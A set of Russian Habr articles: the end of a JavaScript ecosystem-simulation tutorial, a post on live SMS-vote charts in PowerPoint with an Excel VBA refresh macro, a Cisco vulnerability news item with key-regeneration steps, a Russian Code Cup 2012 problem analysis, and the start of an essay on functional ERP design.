if (critter.energy <= 0)
this.grid.set(vector, null);
}
};
```
Новый метод letAct проверяет, было ли передано хоть какое-то действие, затем – есть ли функция, обрабатывающая его, и в конце – возвращает ли эта функция true, показывая, что действие выполнено успешно. Обратите внимание на использование call, чтобы дать функции доступ к мировому объекту через this.
Если действие по какой-либо причине не сработало, действием по умолчанию для существа будет ожидание. Он теряет 0.2 единицы энергии, а когда его уровень энергии падает до нуля или ниже, он умирает и исчезает с сетки.
#### Обработчики действий
Самое простое действие – рост, его используют растения. Когда возвращается объект action типа {type: «grow»}, будет вызван следующий метод-обработчик:
```
actionTypes.grow = function(critter) {
critter.energy += 0.5;
return true;
};
```
Рост всегда успешен и добавляет половину единицы к энергетическому уровню растения.
Движение получается более сложным.
```
actionTypes.move = function(critter, vector, action) {
var dest = this.checkDestination(action, vector);
if (dest == null ||
critter.energy <= 1 ||
this.grid.get(dest) != null)
return false;
critter.energy -= 1;
this.grid.set(vector, null);
this.grid.set(dest, critter);
return true;
};
```
Это действие вначале проверяет, используя метод checkDestination, объявленный ранее, предоставляет ли действие допустимое направление. Если нет, или же в том направлении не пустой участок, или же у существа недостаёт энергии – move возвращает false, показывая, что действие не состоялось. В ином случае он двигает существо и вычитает энергию.
Кроме движения, существа могут есть.
```
actionTypes.eat = function(critter, vector, action) {
var dest = this.checkDestination(action, vector);
var atDest = dest != null && this.grid.get(dest);
if (!atDest || atDest.energy == null)
return false;
critter.energy += atDest.energy;
this.grid.set(dest, null);
return true;
};
```
Поедание другого существа также требует предоставления допустимой клетки направления. В этом случае клетка должна содержать что-либо с энергией, например существо (но не стену, их есть нельзя). Если это подтверждается, энергия съеденного переходит к едоку, а жертва удаляется с сетки.
И наконец, мы позволяем существам размножаться.
```
actionTypes.reproduce = function(critter, vector, action) {
var baby = elementFromChar(this.legend,
critter.originChar);
var dest = this.checkDestination(action, vector);
if (dest == null ||
critter.energy <= 2 * baby.energy ||
this.grid.get(dest) != null)
return false;
critter.energy -= 2 * baby.energy;
this.grid.set(dest, baby);
return true;
};
```
Размножение отнимает в два раза больше энергии, чем есть у новорожденного. Поэтому мы создаём гипотетического отпрыска, используя elementFromChar на оригинальном существе. Как только у нас есть отпрыск, мы можем выяснить его энергетический уровень и проверить, есть ли у родителя достаточно энергии, чтобы родить его. Также нам потребуется допустимая клетка направления.
Если всё в порядке, отпрыск помещается на сетку (и перестаёт быть гипотетическим), а энергия тратится.
#### Населяем мир
Теперь у нас есть основа для симуляции существ, больше похожих на настоящие. Мы могли бы поместить в новый мир существ из старого, но они бы просто умерли, так как у них нет свойства energy. Давайте сделаем новых. Сначала напишем растение, которое, по сути, довольно простая форма жизни.
```
function Plant() {
this.energy = 3 + Math.random() * 4;
}
Plant.prototype.act = function(context) {
if (this.energy > 15) {
var space = context.find(" ");
if (space)
return {type: "reproduce", direction: space};
}
if (this.energy < 20)
return {type: "grow"};
};
```
Растения начинают со случайного уровня энергии от 3 до 7, чтобы они не размножались все в один ход. Когда растение достигает энергии 15, а рядом есть пустая клетка – оно размножается в неё. Если оно не может размножится, то просто растёт, пока не достигнет энергии 20.
Теперь определим поедателя растений.
```
function PlantEater() {
this.energy = 20;
}
PlantEater.prototype.act = function(context) {
var space = context.find(" ");
if (this.energy > 60 && space)
return {type: "reproduce", direction: space};
var plant = context.find("*");
if (plant)
return {type: "eat", direction: plant};
if (space)
return {type: "move", direction: space};
};
```
Для растений будем использовать символ \* — то, что будет искать существо в поисках еды.
#### Вдохнём жизнь
И теперь у нас есть достаточно элементов для нового мира. Представьте следующую карту как травянистую долину, где пасётся стадо травоядных, лежат несколько валунов и цветёт буйная растительность.
```
var valley = new LifelikeWorld(
["############################",
"##### ######",
"## *** **##",
"# *##** ** O *##",
"# *** O ##** *#",
"# O ##*** #",
"# ##** #",
"# O #* #",
"#* #** O #",
"#*** ##** O **#",
"##**** ###*** *###",
"############################"],
{"#": Wall,
"O": PlantEater,
"*": Plant}
);
```
Большую часть времени растения размножаются и разрастаются, но затем изобилие еды приводит к взрывному росту популяции травоядных, которые съедают почти всю растительность, что приводит к массовому вымиранию от голода. Иногда экосистема восстанавливается и начинается новый цикл. В других случаях какой-то из видов вымирает. Если травоядные, тогда всё пространство заполняется растениями. Если растения – оставшиеся существа умирают от голода, и долина превращается в необитаемую пустошь. О, жестокость природы…
#### Упражнения
##### Искусственный идиот
Грустно, когда жители нашего мира вымирают за несколько минут. Чтобы справиться с этим, мы можем попробовать создать более умного поедателя растений.
У наших травоядных есть несколько очевидных проблем. Во-первых, они жадные — поедают каждое растение, которое находят, пока полностью не уничтожат всю растительность. Во-вторых, их случайное движение (вспомните, что метод view.find возвращает случайное направление) заставляет их болтаться неэффективно и помирать с голоду, если рядом не окажется растений. И наконец, они слишком быстро размножаются, что делает циклы от изобилия к голоду слишком быстрыми.
Напишите новый тип существа, который старается справиться с одним или несколькими проблемами и замените им старый тип PlantEater в мире долины. Последите за ними. Выполните необходимые подстройки.
```
// Ваш код
function SmartPlantEater() {}
animateWorld(new LifelikeWorld(
["############################",
"##### ######",
"## *** **##",
"# *##** ** O *##",
"# *** O ##** *#",
"# O ##*** #",
"# ##** #",
"# O #* #",
"#* #** O #",
"#*** ##** O **#",
"##**** ###*** *###",
"############################"],
{"#": Wall,
"O": SmartPlantEater,
"*": Plant}
));
```
##### Хищники
В любой серьёзной экосистеме пищевая цепочка длиннее одного звена. Напишите ещё одно существо, которое выживает, поедая травоядных. Вы заметите, что стабильности ещё труднее достичь, когда циклы происходят на разных уровнях. Попытайтесь найти стратегию, которая позволит экосистеме работать плавно некоторое время.
Увеличение мира может помочь в этом. Тогда локальные демографические взрывы или уменьшение численности имеют меньше шансов полностью изничтожить популяцию, и есть место для относительно большой популяции жертв, которая может поддерживать небольшую популяцию хищников.
```
// Ваш код тут
function Tiger() {}
animateWorld(new LifelikeWorld(
["####################################################",
"# #### **** ###",
"# * @ ## ######## OO ##",
"# * ## O O **** *#",
"# ##* ########## *#",
"# ##*** * **** **#",
"#* ** # * *** ######### **#",
"#* ** # * # * **#",
"# ## # O # *** ######",
"#* @ # # * O # #",
"#* # ###### ** #",
"### **** *** ** #",
"# O @ O #",
"# * ## ## ## ## ### * #",
"# ** # * ##### O #",
"## ** O O # # *** *** ### ** #",
"### # ***** ****#",
"####################################################"],
{"#": Wall,
"@": Tiger,
"O": SmartPlantEater, // из предыдущего упражнения
"*": Plant}
));
``` | https://habr.com/ru/post/241776/ | null | ru | null |
# Как провести голосование прямо в PowerPoint?
Многим докладчикам, выступающим перед аудиторией с презентациями в PowerPoint, приходит в голову мысль о том, что было бы неплохо обратиться к своим слушателям с определённым вопросом, провести опрос или даже анкетирование. При этом, желательно, чтобы результаты являлись бы органичной частью презентации.
Для этих целей мы решили доработать наш сервис [SMS-голосований](http://sms-vote.ru/).
Мы сделали простой [html-запрос](http://sms-vote.ru/?x=e2c1), с помощью которого можно получить текст вопроса требуемого голосования и, в табличной форме, результаты этого голосования:
| Как, на Ваш взгляд, изменятся цены на яблочную продукцию? | Голоса |
| --- | --- |
| Вырастут | 84 |
| Останутся неизменными | 49 |
| Упадут | 13 |
| Не знаю... | 25 |
Эта html-таблица может служить источником данных для Excel. Подключение происходит с помощью Web Data Connection. Далее стандартными средствами Excel строится график, который можно импортировать (вставить как ссылку) в любую программу, поддерживающую связывание с графиками Excel, например, в PowerPoint. Этот референсный [Excel-документ](http://sms-vote.ru/docs/vote_graphs.xlsm) уже настроен на тестовое голосование.
Но выяснилась одна проблема. По умолчанию Excel позволяет обновлять данные из источника не чаще 1 раза в минуту. С помощью VBA-макроса это ограничение удалось обойти.
**Текст макроcа**
```
Public dTime As Date
Private Sub auto_open()
Run "RefreshIt"
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
If Cancel = False Then Application.OnTime dTime, "RefreshIt", , False
On Error GoTo 0
End Sub
Sub RefreshIt()
i = Int(Sheets(1).Range("H25").Value)
If i > 0 Then
On Error Resume Next
Sheets(1).Range("A1").QueryTable.Refresh
If i < 5 Then i = 5
If i < 10 Then
dt = "00:00:0" & i
Else
dt = "00:00:" & i
End If
dTime = Time + TimeValue(dt)
Application.OnTime dTime, "RefreshIt"
End If
End Sub
```
В результате получается график с результатами голосования, обновляющийся по мере поступления голосов практически в реальном времени.
Пример «живого» графика в PowerPoint:
P.S. Стоимость участия в голосовании равна стандартному тарифу на SMS-сообщение на длинный номер другому абоненту (от бесплатно до 2 руб., в зависимости от тарифного плана). | https://habr.com/ru/post/245315/ | null | ru | null |
# В продуктах Cisco нашли уязвимость, позволяющую получить root-доступ
Во время внутреннего тестирования безопасности Cisco Systems обнаружила уязвимости в ряде свои продуктов, по случаю чего компания выпустила [обновление безопасности](https://tools.cisco.com/security/center/publicationListing.x).
Одна из уязвимостей, [CVE-2021-40119](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cps-static-key-JmS92hNv), оценивается на 9,8 из 10 по системе CVSS и является следствием несовершенства механизма аутентификации SSH в Cisco Policy Suite. Воспользовавшись этой уязвимостью, злоумышленник может подключиться к устройству по SSH, авторизовавшись, как root.
Cisco Policy Suite 21.2.0 и более поздних версий автоматически создаёт новые ключи SSH во время установки, но не во время обновления. Если устройство обновляется с 21.1.0, ключи всё ещё придётся менять с помощью следующей процедуры:
Изменение дефолтных SSH ключей
------------------------------
Чтобы сгенерировать новые SSH ключи и размножить их на все машины, выполните следующие шаги:
**Шаг 1**
Чтобы сгенерировать новые ключи, выполните следующую команду на Cluster Manager:
`/var/qps/install/current/scripts/bin/support/manage_sshkey.sh --create`
**Шаг 2**
Обновить ключи в CPS VM и на Cluster Manager:
`/var/qps/install/current/scripts/bin/support/manage_sshkey.sh --update`
Cisco также устраняет [несколько критических уязвимостей,](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-catpon-multivulns-CE3DSYGr) влияющих на веб-интерфейс для управления коммутаторами серии Cisco Catalyst Passive Optical Network (PON) Optical Network Terminal (ONT), которые могут позволить неавторизованному злоумышленнику удалённо войти в систему, используя встроенную учётную запись, предназначенную для отладки. Это позволяет взять на себя управление, выполнить ввод команды и изменить конфигурацию устройства.
Уязвимости затрагивают следующие коммутаторы:
* Catalyst PON CGP-ONT-1P
* Catalyst PON CGP-ONT-4P
* Catalyst PON CGP-ONT-4PV
* Catalyst PON CGP-ONT-4PVC
* Catalyst PON CGP-ONT-4TVCW
Марко Виорек из Hotzone GmbH сообщил о трёх уязвимостях, которым были присвоены идентификаторы CVE-2021-34795 (оценка CVSS: 10,0), CVE-2021-40113 (оценка CVSS: 10,0) и CVE-2021-40112 (оценка по CVSS: 8,6).
Кроме того, Cisco закрыла ещё две серьёзных уязвимости в коммутаторах Cisco Small Business Series и Cisco AsyncOS, которые позволяли злоумышленникам, не прошедшим проверку подлинности, получить несанкционированный доступ к веб-интерфейсу управления коммутаторами и совершить DoS-атаку:
* [CVE-2021-34739](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smb-switches-tokens-UzwpR4e5) (оценка CVSS: 8,1) — уязвимость воспроизведения учётных данных сеанса коммутаторов Cisco Small Business Series Switches
* [CVE-2021-34741](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-dos-JOm9ETfO) (оценка по CVSS: 7,5) — уязвимость, связанная с отказом в обслуживании в Cisco Email Security Appliance (ESA). | https://habr.com/ru/post/588532/ | null | ru | null |
# Russian Code Cup 2012: подробный разбор задач с первой квалификации
27 мая завершился первый этап олимпиады [Mail.Ru Group](http://corp.mail.ru) по программированию [Russian Code Cup 2012](http://russiancodecup.ru). Всего в RCC’12 приняло участие более тысячи человек, из которых 200 лучших вышло в полуфинал соревнования, в отборочный раунд. Победителем первого квалификационного раунда стал студент мехмата ННГУ Владислав Епифанов из Нижнего Новгорода. Участниками было направлено 3391 решение, из которых 1066 были приняты системой как верные. 634 человека или 63% от общего числа участников, решили хотя бы одну задачу.
[Russian Code Cup](http://russiancodecup.ru) — индивидуальное соревнование по спортивному программированию, ежегодно проводимое Mail.Ru Group. Оно традиционно состоит из трех этапов: в начале лета проходят три квалификационных раунда, затем лучшие принимают участие в отборочном туре, первые пятьдесят победителей отборочного тура соревнуются в финале. Личного присутствия потребует только последний из них, остальные же проводятся онлайн. Все финалисты будут отмечены ценными подарками, а приз участнику, занявшему первое место, составит 10 000 долларов. За второе и третье место полагаются 5 000 и 3 000 долларов.
В статье я расскажу о задачах, которые предлагались участникам и о способах их решения. Краткий разбор задач опубликован на сайте сразу после завершения RCC, тут же я постараюсь разъяснить подробности настолько, чтобы решение было понятно даже начинающим программистам.
Всего на тур было предложено пять задач: «Параллелепипед», «Перестройка», «Война», «Этикетка», «Джавайское оружие».
«Параллелепипед»
================
Задача «Параллелепипед» заключалась в том, чтобы по известным длинам двенадцати спичек проверить, можно ли из них склеить каркас параллелепипеда. Эта задача была самой простой и с нее начали решение все участники.
Тут следовало вспомнить, что параллелепипед — это фигура, основанием которой служит параллелограмм — четырехугольник, у которого стороны попарно параллельны. У параллелепипеда есть три размерности в 12 ребрах — длина, ширина и высота. Следовательно, необходимо ответить на вопрос, есть ли среди входных данных ровно три группы по четыре одинаковых числа.
Чтобы понять это, необходимо отсортировать все числа и убедиться, что получилось три группы по четыре одинаковых числа (одинаковых по крайней мере внутри каждой группы). Если это так, выводить yes, иначе — no.
```
#include
#include
using namespace std;
int main()
{
int a[12];
while (true)
{
bool ex = true;
for (int i = 0; i < 12; i++)
cin >> a[i];
for (int i = 0; i < 12; i++)
if (a[i] != 0) ex = false;
if (ex) break;
bool ans = true;
for (int i = 0; i < 12; i++)
{
int k = 0;
for (int j = 0; j < 12; j++)
k += (a[i] == a[j]);
if (k % 4 != 0) ans = false;
}
cout << ((ans) ? "yes" : "no") << endl;
}
}
```
*Попыток сдать задачу «Параллелепипед» было 1479, из которых 639 – успешных (43%). Эта задача оказалась наиболее доступной – число попыток более чем в два раза больше, чем на других задачах, высокий процент успешности.*
[RussianCodeCup.Ru: постановка задачи](http://russiancodecup.ru/round/6/#p28)
[RussianCodeCup.Ru: разбор задач](http://russiancodecup.ru/round/6/analysis)
«Перестройка»
=============
Вторая задача была посложнее.
> По условиям задачи существовало множество дорог между городами. Между любыми двумя городами проложено не более одной дороги. В результате некой дорожной реформы одна из существующих дорог должна была быть разрушена, а другая, из не проложенных ранее, должна была быть построена, причем таким образом, чтобы в итоге из любого города в любой можно было доехать (изначально это могло быть не так). Также есть уточнение, что дорога не может вести из города в него же. Необходимо было посчитать количество вариантов реализации этой реформы.
Эта задача предполагает некоторые знания из области теории графов. Вершинами у нашего графа являются города, ребрами — дороги. В теории графов есть понятие связности графа — наличия пути из любой вершины в любую. В данном случае изначально мы имеем граф неизвестной связности, а в итоге должны получить граф обязательно связный. Есть понятие компоненты связности графа — это максимальное по включению множество связанных между собой вершин. Соответственно число компонент связности — это количество несвязанных между собой групп вершин. Например, в случае, если ребер графа (=дорог) нет вообще, число компонент связности равна количеству вершин (=городов). Также введем понятие «моста» — ребра, удаление которого делает граф несвязным, то есть делит его на несвязанные части.
Итак, вспомним суть реформы из постановки задачи: одно существующее ребро (=дорога) удаляется, и добавляется другое в место, где его раньше ребра не было. Нужно посчитать число вариантов такой реформы.
Также по условиям задачи помним, что наша реформа должна приводить к связному графу, т.е. с одной компонентой связности. Изначально количество групп несвязных между собой городов-вершин может быть любым.
Очевидно, что при числе компонент связности более двух сделать в итоге связный граф добавлением одного ребра у нас никак не получится, ведь так мы свяжем только две группы между собой, а их — больше. Вот иллюстрация этого варианта:
Следовательно, в этом простейшем случае ответ — ноль вариантов.
В случае, если мы имеем дело с двумя группами, то есть компонент связности две, то количество вариантов рассчитывается следующим образом.
Сначала нужно найти, какие ребра являются «мостами» — ведь при удалении этих ребер мы приводим все к первому, рассмотренному выше варианту. Добавить их же назад мы не можем, так как по условиям задачи добавить можно только там, где ребер не было. Поскольку в итоге мы должны получить связный граф, добавленное ребро должно соединять вершины из разных компонент связности — делать из несвязного графа связный. Две группы из N и M вершин можно связать между собой NxM способами. Следовательно, число реформ у нас получится NxMxC, где C = число ребер без учета тех из них, что являются мостами.
Третий случай, когда мы имеем изначально связный граф — самый сложный. В этом случае компонента связности одна, но некоторые ребра могут являться мостами. В итоге число вариантов реформ является суммой двух слагаемых: первое — число вариантов удаления ребер-не-мостов, второе – число вариантов удаления ребер-мостов.
Общее количество ребер можно посчитать по числу вершин: n \* (n-1))/2 (где n = число вершин). Количество ребер, которые можно добавить, вычисляется вычитанием из общего количества числа имеющихся ребер. Так мы получаем первое слагаемое — число ребер, не являющихся мостами, помноженное на число ребер, которые можно добавить.
При удалении «моста» мы должны соединить ребром две получившиеся компоненты связности, развязанные группы вершин. Количество способов это сделать равно произведению вершин справа от моста на количество вершин слева от моста, уменьшенное на единицу, так как сам мост обратно мы поставить не можем по условию задачи.
В итоге для решения этой задачи необходимо знание следующих алгоритмов из теории графов:
* подсчет количества компонент связности;
* нахождение мостов;
* подсчет количества вершин с каждой стороны от моста.
**Нахождение количества компонент связности**
Для решения можно применить алгоритм обхода в глубину. Принцип простой — обходим рекурсивно все вершины, помечая их как посещенные. Как только обошли все, переходим к первой же, которую еще не посетили, если таковая существует, одновременно увеличивая на единицу число компонент связности. И так до тех пор, пока не кончатся все вершины.
Описание алгоритма и пример: [e-maxx.ru/algo/connected\_components](http://e-maxx.ru/algo/connected_components)
**Нахождение мостов**
Алгоритм нахождения мостов основывается на поиске «циклов» — альтернативных путей между вершинами. Если такого пути не обнаруживается, то ребро является мостом.
Описание алгоритма и пример: [e-maxx.ru/algo/bridge\_searching](http://e-maxx.ru/algo/bridge_searching)
Этот алгоритм можно модифицировать, чтобы находить число вершин с разных сторон от моста.
*Попыток сдать задачу «Перестройка» было 621, из которых 137 – успешных (22%).*
[RussianCodeCup.Ru: постановка задачи](http://russiancodecup.ru/round/6/#p29)
[RussianCodeCup.Ru: разбор задач](http://russiancodecup.ru/round/6/analysis)
[решение на C++](http://pastebin.com/4sFjmeSP) (pastebin)
«Война»
=======
> «На одну маленькую нефтеносную страну было совершено нападение высокотехнологичной армией другой враждебной страны. Для защиты была мобилизована армия, состоящая из n солдат. Перед началом решающего боя все n солдат выстроились в шеренгу перед генералом. Он всегда считал, что все солдаты в его войске одинакового роста, однако это оказалось не так. Генерал понял, что такая армия малоэффективна, и решил разбить ее на подразделения. Под подразделениями генерал подразумевал непустые группы солдат, стоящих друг за другом в шеренге. Также генерал решил ввести понятие «мощность подразделения», которое определялось как:
>
> * количество солдат в подразделении, если в шеренге они стоят в порядке невозрастания или неубывания их роста;
> * 0 в противном случае.
>
>
>
>
>
> Также генерал решил, что мощность армии равна произведению мощностей всех подразделений.
>
> Генерал хочет найти такое разбиение армии на подразделения, чтобы мощность всей армии была максимальна. Помогите ему решить эту задачу»
Фактически задача сводится к разбиению массива чисел на монотонные отрезки так, чтобы произведение их длин было максимально. Понятно, что если большой отрезок можно разделить на несколько подотрезков, то произведение длин будет больше, чем длина большого отрезка. Это можно сделать при длине отрезка больше трех: если n ≥ 4, то 2(n — 2) = 2n — 2 ≥ n.
Теперь можно решить задачу с помощью [динамического программирования](http://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%BD%D0%B0%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) — для каждого префикса необходимо посчитать оптимальный ответ и то, какую длину имеет последний отрезок на этом префиксе.
Для этого необходимо перебрать, какой длины отрезок нужно взять (1, 2 или 3), проверить, что на нем последовательность не возрастает или не убывает, и выбрать из подходящих вариантов максимум.
Для восстановления ответа нужно воспользоваться стандартной идеей: восстанавливать с конца, пользуясь информацией об оптимальной длине последнего отрезка для данного префикса.
В представленном ниже по ссылке решении на C есть еще одна хитрость. Дело в том, что для больших «шеренг» произведение получается достаточно длинным, чтобы его хранить в стандартных структурах данных. Поэтому хранение и сравнение таких чисел там реализуется через степени двойки и тройки. В варианте на Java используется BigInteger и таких проблем не возникает.
*Попыток сдать задачу «Война» было 879, из которых 184 – успешных (21%).*
[RussianCodeCup.Ru: постановка задачи](http://russiancodecup.ru/round/6/#p30)
[RussianCodeCup.Ru: разбор задач](http://russiancodecup.ru/round/6/analysis)
[решение на C++](http://pastebin.com/2vdkhv8N) (pastebin)
[решение на Java (bigint)](http://pastebin.com/uuAUBeVm) (pastebin)
«Джавайское оружие»
===================
> «С древности у каждого джавая был набор из трех видов оружия: лазерный меч, лазерная сабля и лазерный ножик для намазывания масла на хлеб (вдруг джавай проголодается).
>
>
>
> Но так как это оружие джавайское, а не простое, на длины входящих в набор предметов накладывались следующие ограничения:
>
>
>
> Длина ножика — d1, длина сабли — d2, длина меча — d3 должны быть простыми числами;
>
> * d1 ≤ d2 ≤ d3;
> * (d1 + d2)2 − 1 делится на d3;
> * (d2 + d3)2 − 1 делится на d1;
> * (d3 + d1)2 − 1 делится на d2.
>
>
>
>
>
> Компания «Dart Generics Industries» продает любой набор джавайского оружия по его номеру в лексикографическом порядке. А именно, упорядочим все джавайские наборы по неубыванию d1, при равном d1 по неубыванию d2, а при равных d1 и d2 по возрастанию d3 и пронумеруем их в этом порядке от 1 до бесконечности. Тогда по заданному k можно купить k-й набор в этом порядке.
>
>
>
> Джавай Anykey хочет купить k-й набор. Подскажите ему размеры его оружия»
Покажем, что из условий, наложенных на длины оружия, следует, что d1 = d2. Пусть никакие три числа не равны, тогда d1 < d2 < d3. По условию (d1 + d2)2 − 1 = (d1 + d2 + 1)(d1 + d2 — 1) делится на d3, так как d3 простое, один из множителей делится на d3.
Пусть, например, (d1 + d2 + 1) делится на d3. Из условия d1 < d2 < d3 следует, что d1 + d2 + 1= d3. Но тогда (d2 + d3)2-1 = (2d2 + d1 + 1)2-1 = 4d22 + 4d2 + 4d1d2 + d12 + 2d1. По условию это число делится на d1, значит 4d22 + 4d2 делится на d1. Значит либо d1 = 2, либо d1 = d2, либо d1 = d2+1.
Применяя аналогичные рассуждения к третьему условию, получаем, что либо d2 = 2, либо d1 = d2, либо d2 = d1+1. Из всех пар этих условий совместны только d1=d2 и d1=2, d2=3. Но в последнем случае подобрать подходящее d3 не удается. Значит d1=d2.
Аналогично рассматривается случай (d1 + d2 — 1) делится на d3.
Обозначим d1=d2 как p. Следовательно (p + p)2-1 = (2p — 1)(2p+1) делится на d3, а так как оно простое и наибольшее, оно может быть равно только (2p-1) или (2p+1). Следовательно, все тройки должны иметь вид (p,p,2p-1) или (p,p,2p+1). Поскольку по условиям задачи первое простое число находится в числе первых 60000 тысяч, оно не превышает 107. Следовательно, при таких ограничениях можно применить решето Эратосфена — алгоритм поиска простых чисел.
**Решето Эратосфена**
Принцип алгоритма поиска простых чисел «по Эратосфену» заключается в следующем. К примеру нужно найти простые числа в промежутке от 1 до некоторого N <= 107. Создаем массив на N элементов и заполняем его значением «true». Затем последовательно проходим по нему до корня из N, и везде, где встречаем true, вычеркиваем все кратные ему числа до N. На первом шаге вычеркиваются все четные числа (потому что первое простое — 2), на втором — все кратные тройке и т.д.
Описание алгоритма и пример: <http://habrahabr.ru/post/91112/>
*Попыток сдать задачу «Джавайское оружие» было 303, из которых 126 – успешных (42%).*
[RussianCodeCup.Ru: постановка задачи](http://russiancodecup.ru/round/6/#p32)
[RussianCodeCup.Ru: разбор задач](http://russiancodecup.ru/round/6/analysis)
[решение на C++](http://pastebin.com/gVysEH3F) (pastebin)
«Этикетка»
==========
Пожалуй, эта задача была самой сложной из всех, хотя объяснение у нее, вероятно, одно из самых простых.
> «При археологических исследованиях порой находятся крайне интересные вещи. Так, например, при раскопках поселения одной древней цивилизации было выяснено, что ее представители, так же как и современные люди, пили напитки из бутылок, на которые были наклеены этикетки с информацией про напиток, содержащейся в бутылке. Одна из таких этикеток даже сохранилась до наших дней. Однако перед учеными, занимавшимися расшифровкой, совершенно неожиданно появилась крайне интересная проблема.
>
>
>
> Проблема заключалась в том, что эта цивилизация не пользовалась знаком переноса. Как только строка заканчивалась, чтение просто продолжалось со следующей строки. При расшифровке книг это не доставляло никаких неудобств, однако у этикетки есть существенное отличие от книги — этикетка наклеивалась на бутылку так, что получался цельный цилиндр, на котором по кругу был написан текст. При чтении текста следовало начать читать первую строку от места склейки, после достижения места склейки перейти на вторую строку, после этого на третью и так далее. Но ученым пока не удается определить место, где этикетка была склеена! Так что вместо текста пока имеется только набор строк одинаковой длины k, состоящих из букв и символов «.», которые использовались этой цивилизацией вместо пробелов.
>
> К счастью, кроме самой этикетки имеется словарь, в котором перечислены все возможные слова, которые использовались этой цивилизацией. Теперь по этим данным вам необходимо определить, сколько существует вариантов местонахождения склейки. Более формально, вам необходимо определить, сколько существует неотрицательных значений t < k таких, что конкатенация всех данных вам строк, циклически сдвинутых влево на t символов, представляет собой набор слов из словаря, разделенных одним или несколькими символами «.». Кроме этого, вам необходимо также вывести все эти значения t.
Для того, чтобы решить эту задачу, следует перейти от понятия строк и символов к массивам значений и числам — это сильно упростит решение и позволит уложится в ограничения по времени и памяти.
Ключевой идеей в решении этой задачи является выбор полиномиального хеширования для кодирования слов. Это позволит перейти от работы со строками в работу с массивами и числами, что заметно быстрее.
Полиномиальный хеш от строки рассчитывается как сумма произведений кода i-го символа на n в степени i. Такие хеши часто используются для ускорения операций поиска подстроки в строке: если две строки составляют третью, то их хэши находятся в простой арифметической зависимости H3 = H1 + k\*H2, где k = основание хеша, возведенное в степень длины первой строки.
В данном случае используем методику расчета хеша, где номер позиции будет отсчитываться с конца строки. Это понадобится для пересчета хеша при циклическом сдвиге влево.
Для начальной позиции можно легко вычислить хеши всех слов, с учетом переносов слов со строки на строку.
Теперь нужно произвести циклический сдвиг на одну позицию влево. Для этого придется пересчитать хеши пограничных слов: из хеша левого слова вычесть код уходящего символа, помноженный на основание хеша в степени длины строки, правый хеш дополнить кодом этого символа, умноженного на основание хэша.
Важно, что проверять все хеши из всех списков на наличие в словаре будет непросто, из-за ограничений на время работы. Поэтому проверки здесь следует «кэшировать» — проверять только те слова, которые могут измениться — все пограничные слова.
**Полиномиальные хеши**
Описание алгоритма: <http://habrahabr.ru/post/142589/>
*Попыток сдать задачу «Этикетка» было 109, из которых всего 6 – успешных (5%). Эта задача оказалась наиболее сложной для участников.*
[RussianCodeCup.Ru: постановка задачи](http://russiancodecup.ru/round/6/#p31)
[RussianCodeCup.Ru: разбор задач](http://russiancodecup.ru/round/6/analysis)
[решение на JAVA](http://pastebin.com/zX5TQ3ey) (pastebin)
---
* [Разбор задач с второй квалификации](http://habrahabr.ru/company/mailru/blog/145262/)
[Разбор задач со третьей квалификации](http://habrahabr.ru/company/mailru/blog/145735/)
*Алиев Рауф
директор по исследованиям и образованию
руководитель проекта Russian Code Cup
Mail.Ru Group* | https://habr.com/ru/post/144793/ | null | ru | null |
# Применение принципов функционального программирования при проектировании ERP
Привет, Хабр!
В этой статье мы попробуем взглянуть на архитектуру учетных систем (ERP, CRM, WMS, MES, B2B, ...) с позиций функционального программирования. Существующие системы сложны. Они базируются на реляционной схеме данных, и имеют огромный мутабельный стейт в виде сотен связаных таблиц. При этом единственным «источником правды» в таких системах является хронологически-упорядоченный журнал первичных документов (отпечатков событий реального мира), которые, очевидно, должны быть иммутабельными (и это правило соблюдается в аудируемых системах, где корректировки «задним числом» запрещены). Журнал документов составляет от силы 20% объема БД, а все остальное — промежуточные абстракции и агрегаты, с которыми удобно работать на языке SQL, но которые требуют постоянной синхронизации с документами, и между собой.
Если вернуться к истокам (устранить избыточность данных и отказаться от хранения агрегатов), а все бизнес-алгоритмы реализовать в виде функций, применяемых непосредственно к потоку первичных документов — мы получим функциональную СУБД, и построенную на ней функциональную ERP. Проблема производительности решается благодаря [мемоизации](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BC%D0%BE%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F), а объем функционального кода будет вполне соизмерим с объемом декларативного SQL, и не сложнее для понимания. В данной статье мы продемонстрируем подход, разработав простейшую файловую СУБД на языке TypeScript и рантайме [Deno](https://deno.land/) (аналог Node.js), а также протестируем производительность сверток на примере типичных бизнес-задач.
#### Почему это актуально
**1)** Мутабельный стейт + избыточность данных — это плохо, особенно когда необходимо обеспечивать его постоянную синхронизацию с потоком документов. Это источник потенциальных расхождений учетных данных (баланс не сходится) и трудно обнаруживаемых побочных эффектов.
**2)** Жесткая реляционная схема хранения исходных и промежуточных данных дорого обходится в Big Data, гетерогенных системах, и в условиях быстрых изменений — то есть по сути везде. Мы предлагаем хранить документы в исходном виде, упорядочив по времени, разрешив связи «от новых к старым» и никогда наоборот. Это позволит рассчитывать большинство агрегатов однопроходными алгоритмами прямо из документов, а все остальные таблицы — [не нужны](http://lurkmore.to/%D0%9D%D0%B5_%D0%BD%D1%83%D0%B6%D0%B5%D0%BD).
**3)** SQL устарел, так как предполагает доступность любых данных в любой момент, а в распределенных системах это очевидно не так — при разработке алгоритмов Big Data нужно быть готовым к тому, что часть необходимых данных появится позже, а часть уже появлялась раньше. Это требует небольшого переосмысления языка запросов, и сознательной заботы о кэшировании.
**4)** Современные ЯП позволяют создать отзывчивую систему, оперирующую миллионами записей локально на ноутбуке, где РСУБД просто не установится. А если говорить о серверах — предлагаемая схема имеет больше возможностей для параллелизма, в том числе на кластерах типа SPARK.
#### Предыстория вопроса
